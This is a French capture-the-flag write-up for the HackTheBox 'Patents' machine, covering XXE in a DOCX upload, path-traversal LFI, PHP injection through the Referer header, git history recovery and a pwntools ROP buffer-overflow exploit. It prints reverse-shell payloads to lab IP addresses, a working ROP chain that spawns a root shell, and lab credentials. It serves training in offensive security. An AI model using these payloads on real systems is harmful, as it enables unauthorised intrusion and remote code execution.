Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .Dans cet article, nous exploitons XXE dans le service de conversion de documents DOCX en PDF, obtenons RCE via LFI, creusons dans l'historique GIT et restaurons des fichiers, composons des chaînes ROP à l'aide de pwntools et trouvons un fichier racine caché.La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)Information organisationnelle, ,
Telegram . , ,
.
. , - , .
Recon
Cette machine a une adresse IP 10.10.10.173, que j'ajoute Ă / etc / hosts.10.10.10.173 patents.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP Ă partir de l'interface tun0 Ă une vitesse de 500 paquets par seconde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.nmap -A patents.htb -p22,80,8888
L'hôte exécute les services SSH et le serveur Web Apache, le port 8888 étant réservé à un service incompréhensible. Voyons le Web.
Le site dispose d'un formulaire de téléchargement des documents DOCX.
XXE DOCX
Selon la déclaration, notre document sera converti au format PDF. Cela suggère la pensée de XXE. J'ai pris un exemple d'ici .
Ainsi, dans cet exemple, l'hôte tentera de télécharger le document xml depuis le serveur distant. En téléchargeant ce document, il lira le fichier local spécifié dans le document xml téléchargé, le codera en base64 et contactera à nouveau notre serveur, transmettant le fichier encodé comme paramètre de requête. Autrement dit, après avoir décodé ce paramètre, nous obtenons le fichier de la machine distante.Mais cette charge ne doit pas être placée sur le chemin d'accès word / document.xml. Étant donné que le SDK OpenXML est utilisé pour travailler avec ce type de document, il suit d'ici et d'ici, le logiciel côté serveur recherchera les données dans word / document.xml et dans customXML / item1.xml. Par conséquent, la charge doit y être placée.Créons un document docx et décompressez-le en tant qu'archive zip. Après cela, créez le répertoire customXML et créez-y le fichier item1.xml. Dans ce document, nous allons écrire le code de l'image ci-dessus, en changeant l'adresse IP pour la nôtre. Et nous archivons le document.
Exécutez maintenant le serveur Web local.python3 -m http.server 80
Et dans le répertoire courant, nous créons le deuxième fichier xml, en spécifiant / etc / passwd comme fichier souhaité.
Et téléchargez le document sur le serveur. Dans la fenêtre avec le serveur Web en cours d'exécution, nous verrons la connexion inverse.
Décodez base64 et obtenez le fichier demandé.
De cette façon, nous pouvons lire des fichiers sur le serveur. Lisons les fichiers de configuration d'Apache. Pour ce faire, modifiez dtd.xml et répétez le téléchargement du document.
On retrouve donc le répertoire dans lequel se trouve le site. Essayons de lire le fichier de configuration.
Et le commentaire dit que le fichier a été renommé en raison d'une vulnérabilité. Nous y ferons bien sûr référence patents.htb / getPatent_alphav1.0.php .
En se tournant vers cette page et en passant le chemin ../../../../../etc/passwd comme paramètre id, toutes les occurrences de «../» seront supprimées de notre ligne. Remplaçons chaque ligne «../» par «... /. /», Donc si vous supprimez une séquence, elle restera toujours «../».
Et nous trouvons LFI.Point d'accès
Essayons d'obtenir RCE à partir de cela. Franchement - c'était difficile. Le fait est que lors de l'envoi d'un tel document, nous n'avons pas reçu d'offre de téléchargement de PDF. C'est-à -dire que le descripteur 2 a été utilisé (pour afficher les messages de diagnostic et de débogage sous forme de texte). Et nous pouvons nous tourner vers lui. Encodons le shell inversé en base64:/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
Nous allons le décoder et le passer à la fonction système en php. Passons le code en tant qu'en-tête HTTP lors du téléchargement d'un fichier.curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
Exécutez netcat.nc -lvp 4321
Et maintenant, passons au deuxième descripteur.curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
Nous reprenons contact.ROOT 1
Chargez le système de script transfère les linpeas et analysez soigneusement la sortie. Nous travaillons donc dans un conteneur docker.
On trouve également des hachages. Mais le piratage, on arrive à rien.
Par conséquent, exécutez pspy64 pour suivre les processus en cours d'exécution. Et nous trouvons le début du processus en tant que root, dans lequel le mot de passe est passé en tant que variable d'environnement.
Et changez localement l'utilisateur en entrant ce mot de passe.
ROOT 2
Voyons ce que fait ce script.
Nous obtenons une astuce sur certains lfmserver et enregistrons également le nom d'utilisateur et le mot de passe. Regardons dans le système tout ce qui concerne lfm.
Et nous trouvons le dépôt git dans ce répertoire.
Travaillons avec ce référentiel.
Voyons l'histoire des changements.
Voyons l'histoire des changements. Nous voyons donc que dans l'avant-dernier commit, un fichier exécutable et une description ont été ajoutés, et dans le dernier, ils ont déjà été supprimés. Revenons en arrière avant de supprimer des fichiers.git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
Et dans notre répertoire un fichier exécutable et une description sont apparus.
Ici, je voulais déjà commencer à inverser le fichier, mais - nous avons un projet git! J'ai trouvé un commit qui mentionnait les codes sources.
Et restaurons les fichiers.git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
Après cela, nous téléchargeons les codes sources d'intérêt, le programme lui-même et les bibliothèques sur la machine locale.Rop
Nous devons essayer de trouver et d'exploiter la vulnérabilité dans le programme, il existe des codes sources pour vous aider. Vérifions la protection dans un fichier binaire.
Autrement dit, le canari et PIE sont manquants, mais la pile n'est pas exécutable. Ouvrez le fichier binaire dans n'importe quel désassembleur avec un décompilateur qui vous convient (j'utilise IDA Pro 7.2) et comparez le code décompilé avec les codes source du référentiel.
Pour vous connecter au serveur et utiliser les données du fichier checker.py, ainsi que les informations d'identification.
Écrivons un modèle d'exploit.
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
Déterminons maintenant la demande. Lancez l'application.
Vous devez envoyer le chemin d'accès au fichier et le hachage de son contenu. Par exemple, j'ai pris / etc / hosts.
Ajoutez le code suivant au modèle.INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
Maintenant, exécutez et obtenez l'erreur 404.
Voyons le fichier journal.
Il est clair où l'application recherche un fichier. Jouons avec les chemins et spécifions un tel fichier.file = "../../../../../etc/hosts"
Nous exécuterons le code et nous ne verrons aucune erreur.
Mais dans le cas de l'urlencode, nous obtenons une réponse avec le code 200 du serveur!file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
Génial, revenons au démonteur. On trouve parmi les lignes (Shift + F12) une réponse serveur réussie. Et voyons où il est accessible (X).
Et nous passons à la première fonction, où au tout début il y a une vérification des pouvoirs.
Renommons les lignes variables dans la fenêtre du désassembleur pour le rendre plus facile à comprendre dans le décompilateur.
Et en analysant le code des lignes 18-24, en comprenant ce qui suit: une partie de l'entrée utilisateur tombe dans la fonction sub_402DB9, où la chaîne est convertie en nom de variable, qui tombe ensuite dans la fonction d'accès, et si le résultat est négatif, le message 404 est émis. Ainsi, le nom de la variable sera le chemin d'accès au fichier. Étant donné que la demande a été traitée même dans le codage urlencode, cette fonction est très probablement nécessaire pour le décodage.
Mais le fait est que le nom de la variable, où les données sont transférées, est d'une taille limitée.
Ainsi, pour un dépassement de tampon, nous devons transférer 0xA0 = 160 octets. Ajoutons dans le code la fonction d'ajouter jusqu'à 160 octets et d'encoder le chemin d'accès au fichier. Étant donné que le hachage est calculé à partir du contenu du fichier, il est nécessaire de ne pas violer l'intégrité du chemin du fichier, c'est-à -dire qu'après le chemin principal, ajoutez 0x00 octets.Mais le fait est que nous devons connaître le hachage à partir de n'importe quel fichier sur le serveur, qui sera toujours disponible et ne changera jamais. Par exemple / proc / sys / kernel / randomize_va_space, et comme nous nous souvenons de la sortie de linPEAS, ASLR est activé, c'est-à -dire que nous connaissons le hachage.
Modifiez ensuite le code.
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
Ça marche avec succès!
Utilisons maintenant une fuite de mémoire et déterminons l'adresse où la bibliothèque libc est chargée. Pour ce faire, nous obtenons l'adresse de la fonction d'écriture dans la bibliothèque libc chargée.binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
Sélectionnez maintenant l'adresse de la fonction dup2 (les 8 premiers octets). Soustrayez l'adresse de la fonction dup2 dans la bibliothèque déchargée. Cela trouvera l'adresse de base de libc.print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
Trouvez maintenant l'adresse de la ligne / bin / sh.shell_address = next(libc.search(b"/bin/sh\x00"))
Il reste à collecter le ROP, dans lequel les descripteurs d'E / S standard (0,1,2) seront redirigés vers le descripteur enregistré dans le programme (prendre 6). Après quoi la fonction système sera appelée, où nous passerons l'adresse de la ligne / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
Bien! Nous obtenons le shell de la racine. Mais il meurt rapidement. Exécutez l'écouteur (nc -lvp 8765) et lancez le shell de connexion arrière.r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

Et nous avons une coque stable. Je donne le code complet dans l'image ci-dessous.
Mais nous ne pouvons pas lire le drapeau racine ...
ROOT 3
En exécutant linpeas et en regardant la sortie, nous trouvons des sections intéressantes, en particulier / dev / sda2.
Obtenons des informations sur tous les périphériques de bloc.
Nous avons donc la partition racine / dev / sda2. Créez un répertoire et montez la partition.
Nous trouvons donc le drapeau racine.Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.